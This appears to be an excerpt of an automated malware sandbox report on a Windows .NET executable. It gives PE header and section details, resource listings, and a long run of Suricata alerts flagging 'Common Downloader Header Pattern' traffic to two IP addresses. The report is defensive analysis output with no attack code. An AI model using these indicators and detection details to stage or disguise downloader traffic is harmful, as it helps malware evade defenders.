Time Stamp:	0x66FE4F75 [Thu Oct 3 08:01:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x17e000	0x5ad62	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x17bf08	0x17c000	cab9cbf0ac1c17990f42c9f3925d5dcf	False	0.3221287777549342	data	5.698178869121706	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x17e000	0x5ad62	0x5ae00	edb572a8dc8fec508128b8dc1959099b	False	0.0347398340784044	data	2.40262694747501	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x17e220	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 262144, resolution 11811 x 11811 px/m	0.022916235168801966
RT_ICON	0x1c0248	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 11811 x 11811 px/m	0.04400804448124926
RT_ICON	0x1d0a70	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 11811 x 11811 px/m	0.07853094000944733
RT_ICON	0x1d4c98	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 11811 x 11811 px/m	0.10020746887966805
RT_ICON	0x1d7240	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 11811 x 11811 px/m	0.14329268292682926
RT_ICON	0x1d82e8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 11811 x 11811 px/m	0.20035460992907803
RT_GROUP_ICON	0x1d8750	0x5a	data	0.7666666666666667
RT_VERSION	0x1d87ac	0x3ca	data	0.42061855670103093
RT_MANIFEST	0x1d8b78	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-04T11:22:55.760607+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49733	188.114.96.3	80	TCP
2024-10-04T11:22:58.281373+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-04T11:23:02.701624+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49738	188.114.97.3	443	TCP
2024-10-04T11:23:04.647267+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49739	188.114.96.3	80	TCP
2024-10-04T11:23:05.525219+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49742	188.114.96.3	80	TCP
2024-10-04T11:23:05.717879+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49742	188.114.96.3	80	TCP
2024-10-04T11:23:05.914344+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49742	188.114.96.3	80	TCP
2024-10-04T11:23:06.106955+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49742	188.114.96.3	80	TCP
2024-10-04T11:23:06.300891+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49742	188.114.96.3	80	TCP
2024-10-04T11:23:06.500511+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49742	188.114.96.3	80	TCP
2024-10-04T11:23:06.694577+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49742	188.114.96.3	80	TCP
2024-10-04T11:23:06.942423+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49742	188.114.96.3	80	TCP
2024-10-04T11:23:09.129229+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49756	188.114.96.3	80	TCP
2024-10-04T11:23:09.324663+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49756	188.114.96.3	80	TCP
2024-10-04T11:23:09.525285+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49756	188.114.96.3	80	TCP
2024-10-04T11:23:09.722387+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49756	188.114.96.3	80	TCP
2024-10-04T11:23:09.917824+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49756	188.114.96.3	80	TCP
2024-10-04T11:23:10.132235+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49756	188.114.96.3	80	TCP
2024-10-04T11:23:10.379952+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49756	188.114.96.3	80	TCP
2024-10-04T11:23:11.019589+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:11.296717+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:11.494279+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:11.705151+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:11.918637+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:12.114524+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:12.307420+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:12.502353+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:12.694850+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:12.886737+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:13.084571+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:13.277987+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:13.472216+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:13.665190+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:13.859809+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:14.052111+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:14.246874+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:14.441679+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:14.676887+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	188.114.96.3	80	TCP
2024-10-04T11:23:15.431256+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49781	188.114.96.3	80	TCP
2024-10-04T11:23:15.626769+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49781	188.114.96.3	80	TCP
2024-10-04T11:23:15.864393+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49781	188.114.96.3	80	TCP
2024-10-04T11:23:16.615766+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:16.821149+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:17.016079+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:17.209351+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:17.402092+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:17.598246+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:17.791411+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:17.984864+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:18.195336+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:18.711918+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:18.942531+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:19.223767+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49784	188.114.96.3	80	TCP
2024-10-04T11:23:20.539775+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49797	188.114.96.3	80	TCP
2024-10-04T11:23:20.786301+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49797	188.114.96.3	80	TCP
2024-10-04T11:23:21.551880+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:21.989293+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:22.188608+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:22.381585+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:22.574748+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:22.767600+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:22.963246+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:23.155870+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:23.488132+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:23.679195+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:23.911261+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:24.203093+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:24.396634+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:24.590452+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:24.781851+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:25.020755+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:25.438297+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:25.630675+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:25.822909+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:26.016146+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:26.210103+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:26.402365+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:26.595172+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:26.833280+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49800	188.114.96.3	80	TCP
2024-10-04T11:23:27.586308+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49817	188.114.96.3	80	TCP
2024-10-04T11:23:27.833202+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49817	188.114.96.3	80	TCP
2024-10-04T11:23:28.820205+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49820	188.114.96.3	80	TCP
2024-10-04T11:23:29.016537+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49820	188.114.96.3	80	TCP
2024-10-04T11:23:29.255122+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49820	188.114.96.3	80	TCP
2024-10-04T11:23:29.548677+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49820	188.114.96.3	80	TCP
2024-10-04T11:23:29.766542+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49820	188.114.96.3	80	TCP
2024-10-04T11:23:30.005011+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49820	188.114.96.3	80	TCP
2024-10-04T11:23:30.803972+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:30.997643+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:31.190951+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:31.385856+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:31.582705+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:31.777608+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:31.972949+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:32.387649+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:32.611374+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:32.805805+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:33.002986+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:33.197672+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:33.392175+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:33.585087+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:33.817767+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49825	188.114.96.3	80	TCP
2024-10-04T11:23:34.710076+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49838	188.114.96.3	80	TCP
2024-10-04T11:23:34.914043+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49838	188.114.96.3	80	TCP
2024-10-04T11:23:35.111308+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49838	188.114.96.3	80	TCP
2024-10-04T11:23:35.309084+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49838	188.114.96.3	80	TCP
2024-10-04T11:23:35.770176+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49838	188.114.96.3	80	TCP
2024-10-04T11:23:35.967511+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49838	188.114.96.3	80	TCP
2024-10-04T11:23:36.208253+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49838	188.114.96.3	80	TCP
2024-10-04T11:23:37.411330+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49845	188.114.96.3	80	TCP
2024-10-04T11:23:42.286285+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49849	188.114.96.3	80	TCP
2024-10-04T11:23:49.936338+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49878	188.114.97.3	443	TCP
2024-10-04T11:23:52.728195+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49890	188.114.96.3	80	TCP
2024-10-04T11:23:53.306581+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49890	188.114.96.3	80	TCP
2024-10-04T11:23:58.023160+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49917	188.114.96.3	80	TCP
2024-10-04T11:23:58.270308+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49917	188.114.96.3	80	TCP
2024-10-04T11:24:02.457718+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49946	188.114.96.3	80	TCP
2024-10-04T11:24:07.285806+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49982	188.114.96.3	80	TCP
2024-10-04T11:24:13.176274+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50015	188.114.96.3	80	TCP
2024-10-04T11:24:17.879287+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50046	188.114.96.3	80	TCP
2024-10-04T11:24:23.535455+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50087	188.114.96.3	80	TCP
2024-10-04T11:24:28.113507+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50120	188.114.96.3	80	TCP
2024-10-04T11:24:28.403258+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50120	188.114.96.3	80	TCP
2024-10-04T11:24:28.695499+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50120	188.114.96.3	80	TCP
2024-10-04T11:24:29.551038+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50133	188.114.96.3	80	TCP
2024-10-04T11:24:34.629095+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50158	188.114.96.3	80	TCP
2024-10-04T11:24:39.129114+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50162	188.114.96.3	80	TCP
2024-10-04T11:24:43.429377+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50166	188.114.96.3	80	TCP
2024-10-04T11:24:48.128796+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50171	188.114.96.3	80	TCP
2024-10-04T11:24:53.037145+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50175	188.114.96.3	80	TCP
2024-10-04T11:24:59.321118+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50181	188.114.96.3	80	TCP
2024-10-04T11:25:06.501105+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50187	188.114.97.3	443	TCP
2024-10-04T11:25:08.020116+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50188	188.114.96.3	80	TCP
2024-10-04T11:25:08.219350+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50188	188.114.96.3	80	TCP
2024-10-04T11:25:08.414349+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50188	188.114.96.3	80	TCP
2024-10-04T11:25:08.608743+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50188	188.114.96.3	80	TCP
2024-10-04T11:25:08.803641+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50188	188.114.96.3	80	TCP
2024-10-04T11:25:09.008902+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50188	188.114.96.3	80	TCP
2024-10-04T11:25:09.570893+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50192	188.114.96.3	80	TCP
2024-10-04T11:25:09.768883+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50192	188.114.96.3	80	TCP
2024-10-04T11:25:09.963174+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50192	188.114.96.3	80	TCP
2024-10-04T11:25:10.218736+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50192	188.114.96.3	80	TCP
2024-10-04T11:25:10.957197+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50196	188.114.96.3	80	TCP
2024-10-04T11:25:11.622855+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50198	188.114.96.3	80	TCP
2024-10-04T11:25:11.817372+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50198	188.114.96.3	80	TCP
2024-10-04T11:25:12.020510+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50198	188.114.96.3	80	TCP
2024-10-04T11:25:12.213190+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50198	188.114.96.3	80	TCP
2024-10-04T11:25:12.408634+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50198	188.114.96.3	80	TCP
2024-10-04T11:25:12.603667+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50198	188.114.96.3	80	TCP
2024-10-04T11:25:12.795360+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50198	188.114.96.3	80	TCP
2024-10-04T11:25:12.989654+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50198	188.114.96.3	80	TCP
2024-10-04T11:25:13.222964+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50198	188.114.96.3	80	TCP
2024-10-04T11:25:13.995059+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:14.229954+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:14.434686+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:14.839750+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:15.040844+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:15.337129+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:15.536423+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:15.737337+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:16.051799+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:16.256284+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:16.548678+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50206	188.114.96.3	80	TCP
2024-10-04T11:25:17.143974+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50214	188.114.96.3	80	TCP
2024-10-04T11:25:21.832631+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50218	188.114.96.3	80	TCP
2024-10-04T11:25:26.721854+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50223	188.114.96.3	80	TCP
2024-10-04T11:25:31.632450+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50227	188.114.96.3	80	TCP
2024-10-04T11:25:36.127914+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50230	188.114.96.3	80	TCP
2024-10-04T11:25:40.205967+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50233	188.114.96.3	80	TCP
2024-10-04T11:25:45.721714+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50238	188.114.96.3	80	TCP
2024-10-04T11:25:49.536181+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50241	188.114.96.3	80	TCP
2024-10-04T11:25:55.300053+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50245	188.114.96.3	80	TCP
2024-10-04T11:26:00.175025+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50249	188.114.97.3	80	TCP
2024-10-04T11:26:04.971926+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50253	188.114.97.3	80	TCP
2024-10-04T11:26:10.064879+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50257	188.114.97.3	80	TCP
2024-10-04T11:26:19.221011+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50266	188.114.97.3	80	TCP
2024-10-04T11:26:23.831039+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50270	188.114.97.3	80	TCP
2024-10-04T11:26:28.924032+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50274	188.114.97.3	80	TCP
